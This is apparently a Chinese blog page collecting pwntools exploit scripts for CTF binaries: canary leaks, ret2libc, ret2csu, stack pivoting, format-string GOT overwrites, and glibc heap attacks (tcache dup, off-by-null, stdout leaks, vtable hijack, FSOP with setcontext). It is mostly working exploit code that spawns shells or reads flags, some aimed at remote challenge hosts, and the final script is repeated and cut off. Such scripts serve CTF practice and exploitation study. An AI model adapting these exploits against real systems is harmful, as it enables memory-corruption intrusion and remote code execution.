PWN入门到入狱-Code

leak_canary+libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# -*- coding: utf-8 -*-

from pwn import *
from LibcSearcher import *

# p=remote('node4.buuoj.cn',28688)
p=process('./babystack')
elf=ELF('./babystack')
context.log_level='debug'

#泄露canary
p.sendlineafter(">>",'1')
payload='a'*(0x80+8)
p.sendline(payload)

p.sendlineafter('>>','2')
p.recvuntil('a\n')
canary=u64(p.recv(7).rjust(8,b'\x00'))
log.info(hex(canary))

pop_rdi=0x400a93
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x400908

#泄露puts函数的got表地址
payload=b'a'*(0x80+8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter(">>",'1')
p.sendline(payload)
p.sendlineafter(">>",'3')

p.recv()

puts_addr=u64(p.recv(6).ljust(8,b'\x00'))

#找到对应的libc版本
libc=LibcSearcher('puts',puts_addr)

#计算system函数和字符串‘/bin/sh’在程序里的实际地址
libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')

#构造rop攻击获取shell
payload=b'a'*(0x80+8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter('>>','1')
p.sendline(payload)
p.sendlineafter('>>','3')

p.interactive()

ret2csu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level = 'debug'

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8


def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)


sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)

## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()

ROP+libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# -*- coding: utf-8 -*-

from pwn import *
from LibcSearcher import *

# p = process("./ciscn_2019_c_1")
p = remote("node4.buuoj.cn",25863)
elf = ELF('./ciscn_2019_c_1')

padding=0x50+8

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr = elf.symbols['main']

# ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
pop_rdi_ret=0x0000000000400c83


payload=b'\0'+b'a'*(padding-1)
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main_addr)

# 32
# payload = padding*b'a'
# payload+=p32(write_plt)
# payload+=p32(main_addr)
# payload+=p32(1)+p32(read_got)+p32(4)
# p.sendline(payload)

p.sendlineafter('choice!\n','1')
p.sendlineafter('encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
# puts_addr = u32(p.recv(4)) # 32
log.info("puts_addr: "+str(hex(puts_addr)))

# print(hex(puts_addr))
# 0x7f51373336a0

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')


p.sendlineafter('choice!\n','1')

payload=b'\0'+b'a'*(padding-1)

# ROPgadget --binary ciscn_2019_c_1 --only 'ret'
ret=0x4006b9

payload+=p64(ret)
payload+=p64(pop_rdi_ret)
payload+=p64(binsh)
payload+=p64(system)
# payload = offset*'a' + p32(system_addr) + p32(1) + p32(binsh_addr)

p.sendlineafter('encrypted\n',payload)

p.interactive()

stack pvoit 栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
call_system=0x08048559
leave=0x08048562
context.log_level='debug'
p=process('./ciscn_2019_es_2')
# p=remote("node4.buuoj.cn",27454)
# gdb.attach(p,'b vul')
payload=b'a'*0x24+b'b'*4
p.recvuntil('name?\n')
p.send(payload)
p.recvuntil('bbbb')
addr=u32(p.recv(4))
log.info('ebp_addr: '+hex(addr))
payload1=b'a'*4+p32(call_system)+p32(addr-0x38+0xc)+b'/bin/sh'
payload1=payload1.ljust(0x28,b'\x00')+p32(addr-0x38)+p32(leave)
p.send(payload1)
p.interactive()

格式化字符串修改内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# 利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入,得*到shell。这种方法具有普遍性,也可以改写后面的函数的地址,拿到shell。
from pwn import *

p = process('./pwn')
elf = ELF('./pwn')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

# AAAA %08x %08x %8x %08x %08x %08x %08x……
payload=fmtstr_payload(10,{atoi_got:system_plt})

p.sendline(payload)
p.sendline('/bin/sh')

p.interactive()

# bss段的unk_804C044,是随机生成的,而我们猜对了这个参数,就可以执行system("/bin/sh"),刚好字符串格式化漏洞可以实现改写内存地址的值
# from pwn import *
# #context.log_level = "debug"
# p = remote("node3.buuoj.cn",26486)

# unk_804C044 = 0x0804C044
# payload=fmtstr_payload(10,{unk_804C044:0x1111})
# p.sendlineafter("your name:",payload)
# p.sendlineafter("your passwd",str(0x1111))
# p.interactive()

# 直接利用格式化字符串改写unk_804C044之中的数据,然后输入数据对比得到shell。
# from pwn import *
# p = process('./pwn5')
# addr = 0x0804C044
# #地址,也就相当于可打印字符串,共16byte
# payload = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
# #开始将前面输出的字符个数输入到地址之中,hhn是单字节输入,其偏移为10
# #%10$hhn就相当于读取栈偏移为10的地方的数据,当做地址,然后将前面的字符数写入到地址之中
# payload += "%10$hhn%11$hhn%12$hhn%13$hhn"
# p.sendline(payload)
# p.sendline(str(0x10101010))
# p.interactive()

栈迁移+gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *

#start
p = remote("node4.buuoj.cn",26761)
# p = process('./gyctf_2020_borrowstack')
elf=ELF('./gyctf_2020_borrowstack')

padding1=0x60

pop_rdi_ret=0x0000000000400703
leave_ret=0x0000000000400699
bank=0x601080+0xa0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']

payload=b'a'*padding1
payload+=p64(bank)+p64(leave_ret)
p.sendafter('Welcome to Stack bank,Tell me what you want\n', payload)


p2 = p64(0) * 0x15
p2 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendafter('Done!You can check and use your borrow stack now!\n', p2)


puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))


libc=LibcSearcher('puts',puts_addr)
offest=puts_addr-libc.dump('puts')
read=offest+libc.dump('read')
one_gadget=read-0x6109

p3 = b'a' * (0x60 + 8) + p64(one_gadget)
p.sendafter('want\n', p3)
p.sendafter('now!\n', '\n')

p.interactive()


# 以前从来没注意过one_gadget的调用过程,借这次比赛机会了解了一下,也学到了很多小技巧,在这里记录一下。

# 如果是使用_malloc_hook来调用one_gadget,那么需要配合realloc来构造所需参数,realloc在libc中的符号是__libc_realloc
# 如果是使用其他方式调用one_gadget,比如说修改GOT表,那么需要在栈上提前构造好参数,或者将rax寄存器清零
# 在泄露libc地址的时候,最好是泄露read函数的地址,因为read函数距离one_gadget的偏移是不会变的,只需要将read函数真实地址减去0x6109,就可以使用one_gadget了,具体可以自行调试一下便知。那这么做的好处就是不用去知道libc的版本,省了很大一部分时间和精力,libc版本是个坑,懂的都懂。

Heap-Exp-Code

tcache + libc-2.27 + off by null + UAF + one-gadget

程序有个off by null漏洞点,然后libc是2.27的,所以存在tcache机制,当free 7个块tcache满了以后,第8,9,10个块就会放入unsorted bin中,利用off by null来free的时候向前合并,然后uaf泄漏libc地址,再利用tcache dup(类似double free)来对free_hook改写成one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

context.log_level = 'debug'

def malloc(size,content):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('> ')
p.sendline(str(size))
p.recvuntil('> ')
p.sendline(content)

def free(index):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('> ')
p.sendline(str(index))

def puts(index):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('> ')
p.sendline(str(index))

p = process('./easy_heap')
#p = remote('118.25.150.134',6666 )

for i in range(10):
malloc(0x20,'a')

for i in range(3,10):
free(i)

for i in range(3):
free(i)

for i in range(10):
malloc(0x20,'a')


for i in range(6):
free(i)

free(8) #fill tcache
free(7) #unsorted bin

malloc(0xf8,'b') #change next_chunk pre_inuse = 0

free(6) #fill tcache
free(9) #unsorted bin

#unsorted bin point to chunk[0]
for i in range(8):
malloc(0x20,'b')

#leak libc
puts(0)

libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
log.success('libc base addr : 0x%x'%libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322
log.success('free_hook addr : 0x%x'%free_hook)
log.success('one_gadget addr : 0x%x'%one_gadget)

#clear unsorted bin
malloc(0x20,'d')

#free place to malloc
free(1)

#tcache dup
free(0)
free(9)

#hijack free_hook to one_gadegt
malloc(0x20,p64(free_hook))
malloc(0x20,'e')
malloc(0x20,p64(one_gadget))

#trigger one_gadget to getshelol
free(5)


p.interactive()

tcache + libc-2.27 + off by null + UAF + one-gadget + 任意大小的堆块

漏洞点也是off by null,libc也是2.27的,跟easy_heap差不多,但是这里可以分配任意大小的堆块,tcache的范围是 [0x20, 0x400),超过这个大小的就会放入unsorted bin,利用off by null来free chunk的时候向前合并,然后uaf泄漏libc地址,再利用tcache dup(类似double free)来对free_hook改写成one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

context.log_level = 'debug'

p = process('./children_tcache')

def new(size,data):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.sendline(data)

def show(index):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))

def delete(index):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))


new(0x500,'a')
new(0x28,'a')
new(0x4f0,'a')
new(0x20,'a')

delete(0)

delete(1)
new(0x28,'a')

#overwrite the pre_chunk_in_use and pre_size
#clean pre_size
for i in range(6):
delete(0)
new(0x20+8-i,'a'*(0x20+8-i))

delete(0)
new(0x20+2,'a'*0x20 + '\x40\x05')

#unsorted bin Merging forward
delete(2)

new(0x500,'a')

#leak libc
show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
log.success('libc_base addr : 0x%x'%libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322
log.success('free_hook addr : 0x%x'%free_hook)
log.success('one_gadget addr : 0x%x'%one_gadget)

#tcache dup
new(0x28,'a')
delete(0)
delete(2)

#hijack free_hook to one_gadget
new(0x28,p64(free_hook))
new(0x28,'a')
new(0x28,p64(one_gadget))

#trigger one_gadget
delete(1)

#gdb.attach(p)

p.interactive()

tcache + libc-2.27 + off by null + 没有打印函数 + IO_FILE结构体泄露地址

  • off by null漏洞,但是没有了打印函数,所以要想办法泄漏libc,然后这里利用IO_FILE结构体去泄漏地址

  • 然后修改tcache的fd指针指向IO_2_1_stdout结构体修改_IO_write_base地址就能泄漏地址根据偏移来获得libc基址,然后后面还是一样用double free来修改free_hook为one_gadget来getshell,这里要注意修改结构体的时候flags要过校验,而且fd指针的地址跟IO_2_1_stdout结构体地址需要爆破1位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#_IO_FILE flags

#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000

_flags=_IO_MAGIC+_IO_CURRENTLY_PUTTING+_IO_IS_APPENDING+(_IO_LINKED)

_flags=0xfbad1800 or 0xfbad1880 或者再加一些其他不影响leak的_flags
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

context.log_level = 'debug'



def new(size,data):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.send(data)


def delete(index):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))


while True:

try:

p = process('./baby_tcache')

new(0x500,'a')
new(0x78,'a')
new(0x4f0,'a')
new(0x20,'a')

#unsorted bin
delete(0)

delete(1)
new(0x78,'a')

#overwrite the pre_chunk_in_use and pre_size
#clean pre_size
for i in range(6):
delete(0)
new(0x70+8-i,'a'*(0x70+8-i))

delete(0)
new(0x72,'a'*0x70 + '\x90\x05')

#unsorted bin Merging forward
delete(2)
delete(0)

#hijack fd -> _IO_2_1_stdout_
new(0x500,'a')
new(0x88,'\x60\xc7')

#hijack _IO_write_base to leak libc
new(0x78,'a')
fake__IO_2_1_stdout_ = p64(0xfbad1800) + p64(0)*3 + "\x00"
#gdb.attach(p)
new(0x78,fake__IO_2_1_stdout_)
libc_base = u64(p.recv(0x30)[8:16]) - 0x3ed8b0
log.success('libc_base addr : 0x%x'%libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322
log.success('free_hook addr : 0x%x'%free_hook)
log.success('one_gadget addr : 0x%x'%one_gadget)

#double free
delete(1)
delete(2)

#hijack free_hook -> one_gadget
new(0x88,p64(free_hook))
new(0x88,'a')
new(0x88,p64(one_gadget))

#trigger one_gadget
delete(0)


p.interactive()

except Exception as e:

p.close()

劫持vtable + libc-2.23 + off by null + chunk_size<= 0x120

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

context.log_level = 'DEBUG'
context.binary = './domo'
elf = ELF('./domo')

p = process('./domo')
libc = context.binary.libc

def cmd_add(size,content):
p.sendlineafter('> ','1')
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)

def cmd_del(index):
p.sendlineafter('> ','2')
p.sendlineafter('index:',str(index))

def cmd_show(index):
p.sendlineafter('> ','3')
p.sendlineafter('index:\n',str(index))
return p.recv(6)

def cmd_edit(addr,num):
p.sendlineafter('> ','4')
p.sendlineafter('addr:',str(addr))
p.sendlineafter('num:',num)

# leak_libc
cmd_add(0x80,'') #0
cmd_add(0x10,'') #1
cmd_del(0)
cmd_add(0x80,'') #0
realloc_hook = u64(cmd_show(0).ljust(8,"\x00")) - 0x2
libc_base = realloc_hook - libc.sym["__realloc_hook"]
print(hex(libc_base))
# leak_heap
cmd_add(0x10,'') #2
cmd_add(0x10,'') #3
cmd_del(2)
cmd_del(3)
cmd_add(0x10,'') #2
cmd_add(0x10,'') #3
#debug()
heap_addr = u64(cmd_show(2).ljust(8,"\x00")) - 0xa + 0x100
print(hex(heap_addr))
# unlink_chunk_overlap
cmd_add(0x40,flat(0,0xb1,heap_addr+0x18,heap_addr+0x20,heap_addr+0x10)) #4
cmd_add(0x60,'') #5
cmd_add(0xf0,'') #6
cmd_add(0x10,'') #7
cmd_del(5)
cmd_add(0x68,flat("\x00"*0x60,0xb0)) #5
cmd_del(6)
#debug()
# fastbin_attack
cmd_del(5)
attack_addr = libc_base+libc.sym["_IO_2_1_stdin_"] + 160 - 3
one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc_base + one_gadgets[2]
print(hex(attack_addr))
cmd_add(0x80,flat("\x00"*0x30,0,0x71,attack_addr)) #5
cmd_del(1)
cmd_del(2)
cmd_del(3)
cmd_add(0xa0,p64(0)+p64(0)+p64(one_gadget)*12) #1
cmd_add(0x60,'')
gdb.attach(p,'b *'+str(one_gadget))
cmd_add(0x60,"\x00"*3+flat(0,0,0xffffffff,0,0,heap_addr+0xb0,0,0,0,0,0)) #6
p.interactive()

stdout leak + realloc_hook 调栈 + add/delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import*
context.log_level = 'debug'
context.update(arch='amd64',os='linux',timeout=0.5)
p = process("./pwn1")
context.binary = "./pwn1"
libc = context.binary.libc


def add(name_size,name=b'a',message=b'b'):
p.sendlineafter('choice : ','1')
p.sendlineafter('your name: \n',str(name_size))
p.sendafter('Your name:\n',name)
p.sendlineafter('Your message:\n',message)
def delete(idx):
p.sendlineafter('choice : ','2')
p.sendlineafter('index:',str(idx))
def pr(a,addr):
log.success(a+'===>'+hex(addr))

def debug(one):
gdb.attach(p,'b *'+str(one))
pause()

def pwn():
add(0x60) #0
add(0x90) #1
add(0x60) #2
delete(1)
add(0x60,b'\xdd\x55') #3
delete(0)
delete(2)
delete(0)
add(0x60,b'\x00') #4
add(0x60) #5
add(0x60) #6
add(0x60) #7
#debug()
add(0x60,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00')
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x39c600
libc_realloc = libcbase + libc.sym['__libc_realloc']
malloc_hook = libcbase + libc.sym['__malloc_hook']
one = libcbase + [0x3f3d6,0x3f42a,0xd5bf7][2]
pr('libcbase',libcbase)
pr('malloc_hook',malloc_hook)
pr('one',one)
delete(0)
delete(2)
delete(0)
add(0x60,p64(malloc_hook-0x23))
add(0x60)
add(0x60)
#debug(one)
add(0x60,b'a'*11+p64(one)+p64(libc_realloc+14))
p.sendlineafter('choice : ','1')
#gdb.attach(p,'b *'+str(one))
p.interactive()

pwn()

unsorted bin attack + libc-2.27 + FSOP + set_context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *
from time import sleep
#sh = remote("125.71.5.44",50014)
sh = process('./chall')
context.binary = "./chall"
context.log_level = 'debug'
#elf = ELF('./Easyheap')
#libc = context.binary.libc
libc = ELF('./libc.so.6')
#libc = ELF('./libc-2.27.so')


def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct

def debug():
gdb.attach(sh,"b *$rebase(0xd20)")
pause()

def add(size,data):
sh.sendlineafter('> ','1')
sh.sendlineafter('size:',str(size))
sh.sendafter('content:',data)

def edit(idx,con):
sh.sendlineafter('> ','3')
sh.sendlineafter('edit?',str(idx))
sh.sendafter('content:',con)

def show(idx):
sh.sendlineafter('> ','4')
sh.sendlineafter('show?',str(idx))

def delete(idx):
sh.sendlineafter('> ','2')
sh.sendlineafter("?",str(idx))
#leak heap_addr
add(0x520,'aaaaaaaa'*8) #0
show(0)
sh.recvuntil("aaaaaaaa"*8)
heap_addr = u64(sh.recvuntil("\x55")[-6:].ljust(8,b'\x00')) - 496 + 0x10
print(hex(heap_addr))

#leak libc_base
add(0x420,'a') #1
add(0x1400,'a') #2
add(0x500,'a') #3
delete(0)
show(0)
libc_base = u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) - 3951392 - 88
print(hex(libc_base))
rtl_global = libc_base + 0x83c040
set_context = libc_base + libc.sym['setcontext'] + 53
ret = libc_base + libc.sym['setcontext'] + 127
pop_rdi = libc_base + 0x0000000000021112
pop_rsi = libc_base + 0x00000000000202f8
pop_rdx = libc_base + 0x0000000000001b92
binsh_addr = libc_base + 0x18CE57
system_addr = libc_base + libc.sym['system']
puts_addr = libc_base + libc.sym['printf']
global_max_fast = libc_base + 3958776
IO_str_jumps = libc_base + 0x3c37a0
IO_list_all = libc_base + libc.symbols['_IO_list_all']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
flag_addr = heap_addr+0x300


#unsortbin attack
edit(0,p64(libc_base+88+3951392) +p64(global_max_fast-0x10))

frame = SigreturnFrame()
frame.rsp = heap_addr+0x200
frame.rip = ret
frame.rdi = flag_addr
frame.rsi = 0
frame.rdx = 30

payload = bytes(frame)
payload = payload.ljust(0x200,b'\x00')
payload += p64(open_addr) + p64(pop_rdi) + p64(0x14) + p64(pop_rsi) + p64(flag_addr) + p64(read_addr) #open &read
payload += p64(pop_rdi) + p64(1) + p64(write_addr)

payload = payload.ljust(0x300,b'\x00') + b'./flag\x00'

add(0x520,payload) #4

#hijack io_list_all
delete(2)
fake_file = pack_file(_IO_read_base=IO_list_all-0x10,
_IO_write_base=0,
_IO_write_ptr=1,
_IO_buf_base=heap_addr,
_mode=0,)
fake_file += p64(IO_str_jumps-8)+p64(0)+p64(set_context)
edit(2,fake_file[0x10:])

#abort fsop
delete(2)
#debug()
sh.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *
from time import sleep
#sh = remote("125.71.5.44",50014)
sh = process('./chall')
context.binary = "./chall"
context.log_level = 'debug'
#elf = ELF('./Easyheap')
#libc = context.binary.libc
libc = ELF('./libc.so.6')
#libc = ELF('./libc-2.27.so')


def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct

def debug():
gdb.attach(sh,"b *$rebase(0xd20)")
pause()

def add(size,data):
sh.sendlineafter('> ','1')
sh.sendlineafter('size:',str(size))
sh.sendafter('content:',data)

def edit(idx,con):
sh.sendlineafter('> ','3')
sh.sendlineafter('edit?',str(idx))
sh.sendafter('content:',con)

def show(idx):
sh.sendlineafter('> ','4')
sh.sendlineafter('show?',str(idx))

def delete(idx):
sh.sendlineafter('> ','2')
sh.sendlineafter("?",str(idx))

add(0x520,'aaaaaaaa'*8) #0
show(0)
sh.recvuntil("aaaaaaaa"*8)
heap_addr = u64(sh.recvuntil("\x55")[-6:].ljust(8,b'\x00')) - 496 + 0x10
print(hex(heap_addr))

add(0x420,'a') #1
add(0x3910,'a') #2
add(0x500,'a') #3
delete(0)
show(0)
libc_base = u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) - 3951392 - 88
print(hex(libc_base))
rtl_global = libc_base + 0x83c040
set_context = libc_base + libc.sym['setcontext'] + 53
ret = libc_base + libc.sym['setcontext'] + 127
pop_rdi = libc_base + 0x0000000000021112
pop_rsi = libc_base + 0x00000000000202f8
pop_rdx = libc_base + 0x0000000000001b92
binsh_addr = libc_base + 0x18CE57
system_addr = libc_base + libc.sym['system']
puts_addr = libc_base + libc.sym['printf']
global_max_fast = libc_base + 3958776
IO_str_jumps = libc_base + 0x3c37a0
IO_list_all = libc_base + libc.symbols['_IO_list_all']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
flag_addr = heap_addr+0x300

edit(0,p64(libc_base+88+3951392) +p64(global_max_fast-0x10))

frame = SigreturnFrame()
frame.rsp = heap_addr+0x200
frame.rip = ret
frame.rdi = flag_addr
frame.rsi = 0
frame.rdx = 30

payload = bytes(frame)
payload = payload.ljust(0x200,b'\x00')
payload += p64(open_addr) + p64(pop_rdi) + p64(0x3) + p64(pop_rsi) + p64(flag_addr) + p64(read_addr) #open &read
payload += p64(pop_rdi) + p64(1) + p64(write_addr)

payload = payload.ljust(0x300,b'\x00') + b'./flag\x00'

